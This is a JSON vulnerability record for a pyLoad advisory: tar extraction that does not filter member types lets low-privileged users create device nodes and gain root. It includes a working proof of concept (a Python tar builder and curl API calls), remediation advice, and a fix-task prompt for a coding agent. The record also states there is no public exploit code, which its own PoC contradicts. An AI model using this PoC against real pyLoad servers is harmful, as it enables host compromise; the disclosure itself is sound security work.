{"answers":{"affected":"2 open source packages ship an affected version, including pyload-ng.","exploited":"There is no known exploitation of GHSA-fr26-jjhm-638c in the wild and no public exploit code.","fix":"No fix has been published for GHSA-fr26-jjhm-638c yet. Limit exposure of the affected software until one is available.","what":"GHSA-fr26-jjhm-638c is a path traversal vulnerability in pyload-ng, published on 9 Oct 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-fr26-jjhm-638c and fix it if it is affected.\n\nWhat it is: GHSA-fr26-jjhm-638c is a path traversal vulnerability in pyload-ng, published on 9 Oct 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-fr26-jjhm-638c in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- pyload-ng (PyPI): affected all versions up to 0.5.0b3.dev101; no fix listed\n- pyload-ng (PyPI): affected all versions up to 0.5.0b3.dev101; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-fr26-jjhm-638c/ (Markdown: https://insights.sbomify.com/GHSA-fr26-jjhm-638c/index.md)","id":"GHSA-fr26-jjhm-638c","markdown":"https://insights.sbomify.com/GHSA-fr26-jjhm-638c/index.md","name":"GHSA-fr26-jjhm-638c","record":{"aliases":[],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["privilege_escalation","code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"pyLoad download manager","requires_auth":"low_privilege","summary":"Low-privileged users can trigger archive extraction to create device nodes, enabling root privilege escalation and host compromise in pyLoad.","user_interaction":"not_required","vuln_class":"path_traversal"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\n`UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member\n**names** and symlink/hardlink **targets**, but never checks member **types**, and calls\n`tarfile.extractall` without a `filter=`. On Python \u003c 3.14 the default extraction filter is\n`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create\nthem on disk. When pyLoad runs as root (the official Docker deployment), a block-device\nmember grants raw disk access — full host compromise — reachable by any low-privileged user\nwho can trigger archive extraction (ADD to supply an archive, STATUS to invoke\n`ExtractArchive.extract_package`).\n\n### Details\n\n```python\n# plugins/extractors/UnTar.py:69-79\nfor member in tar.getmembers():\n    if not is_within_directory(...) or \u003csymlink/hardlink target checks\u003e:   # names/links only\n        raise ArchiveError(...)\ntar.extractall(path, members, numeric_owner=numeric_owner)   # no filter=\n```\n\nNo `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation\nin `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults\nto a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create\nFIFOs for any euid.\n\n### PoC\n\n```bash\nBASE=http://127.0.0.1:8100\n# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member\npython3 - \u003c\u003c'EOF'\nimport tarfile, io\nt = tarfile.open('dev.bin','w')          # name it *.bin so UnTar (content-sniffed) claims it\nt.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))\ni = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666\nt.addfile(i)\nf = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE\nt.addfile(f); t.close()\nEOF\n\n# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,\n# then trigger extraction\ncurl -s -X POST \"$BASE/api/add_package\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' -d '{\"name\":\"poc\",\"links\":[\"http://x/dev.bin\"],\"dest\":1}'\ncurl -s -X POST \"$BASE/api/service_call\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"service_name\":\"ExtractArchive.extract_package\",\"arguments\":[\"\u003cpid\u003e\"]}'\n\nls -l \u003cextract dir\u003e\n# → crw-rw-rw- 1 root root 1, 3 nulldev      (character device created)\n# → prw-r--r-- 1 root root     pipe          (FIFO created)\n# → -rw-r--r-- 1 root root     marker.txt\n```\n\nNegative control: the same flow with a `../evil` traversal member is rejected\n(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the\nGHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary\nis present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is\nreached via non-mapped names — as above — content-sniffed containers, or when 7z is\nabsent/fails.)\n\n### Impact\n\nWith pyLoad as root, a crafted archive can create block/character device nodes at arbitrary\npaths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),\nor set special bits; non-root deployments still get FIFOs and node entries in\nuser-accessible trees.\n\n### Remediation\n\nIn `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,\nor safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass\n`filter=\"data\"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply\nthe same member-type validation in the pre-extraction validator so all extractors share it.\n\n### References\n\n- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,\n  member types not).","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)","id":"GHSA-fr26-jjhm-638c","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"path_traversal","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":["0"],"last_affected":["0.5.0b3.dev101"],"package":"pyload-ng","purl":null,"source":"GHSA-fr26-jjhm-638c"},{"ecosystem":"PyPI","fixed":[],"introduced":["0"],"last_affected":["0.5.0b3.dev101"],"package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"GHSA-fr26-jjhm-638c"}],"products":null,"published":"2026-10-09","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Low-privileged users can trigger archive extraction to create device nodes, enabling root privilege escalation and host compromise in pyLoad.","url":"https://insights.sbomify.com/GHSA-fr26-jjhm-638c/"}